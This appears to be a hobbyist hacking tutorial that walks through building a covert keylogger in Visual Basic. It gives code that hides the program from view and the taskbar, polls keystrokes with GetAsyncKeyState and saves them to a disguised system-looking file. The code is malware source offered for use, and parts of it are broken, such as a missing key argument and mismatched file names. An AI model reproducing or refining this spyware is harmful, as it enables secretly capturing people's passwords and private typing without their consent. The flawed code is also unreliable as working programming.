Hacking It: Building a basic keylogger
Building a basic keylogger

Ok. Open VB and start a new application. Add to the form a button, a timer, and a module(I know the module isn't actually part of the form). Thats all. Change there caption of the button to start Logging
(This wont be able to start on start up)
Now using api guide or just copying from here, declare a new function. the GetASyncKeyState function

Declare Function GetAsyncKeyState Lib "user32" Alias "GetAsyncKeyState"

(ByVal vKey As Long) As Integer

^---put this in the declarations section of the module.

That is all one line of code. Make sure its like that and not split into 2.

Now you have a new function to use through your program.
now we must make it be invisible.
OK. In the button code, in the click event of course
type the following

app.taskvisible = false

form1.visible = false


timer1.enabled = true

also in the properties section of the form,change the shownintaskbar
to false

Now when we click the button it should be invisible.

Now we are going to need some variables
in the declarations section add the following

Dim strLetter as String, strTotal as String

Now in the timer code put this,
also set the interval to 1 and enabled to false

Private Sub Timer1_Timer()

For I = 28 To 128

If GetAsyncKeyState <> 0 Then

strLetter = Chr(I)

Now here you can add certain things

so that instead of displaying

useless characters, it tells you

what the user has pressed.

so is if they press Enter/Return, it will

Show some weird box but you dont want that

so you`ll haave to make a select case about each

button you want to customize.

strTotal = strTotal & strLetter

End If

Next I

open "C:\Windows\SysResources.DAT" for output as #1

Print #1, strTotal

close #1

End Sub

'End Code

Now all you have to do is when you want to check the keys pressed, open up C:\Windows\SysResource.DAT in notepad, and there it is. This program will not run on start up.

Dim strLetter As String, strTotal As String, old as string

Private Sub Command1_Click()

Timer1.Enabled = True

End Sub

Private Sub Form_Load()

Command1.Caption = "Start Loggin"

Timer1.Enabled = False

Timer1.Interval = 1

End Sub

Private Sub Timer1_Timer()

For I = 28 To 128 'ASCII code

If GetAsyncKeyState <> 0 Then

strLetter = Chr(I)

End If

If strletter <> Old Then

Old = strletter

strTotal = strTotal & old

End If

Next I

Open "C:\windows\SysResources.dat" For Output As #1

Print #1, strTotal

Close #1

End Sub


Visit the Site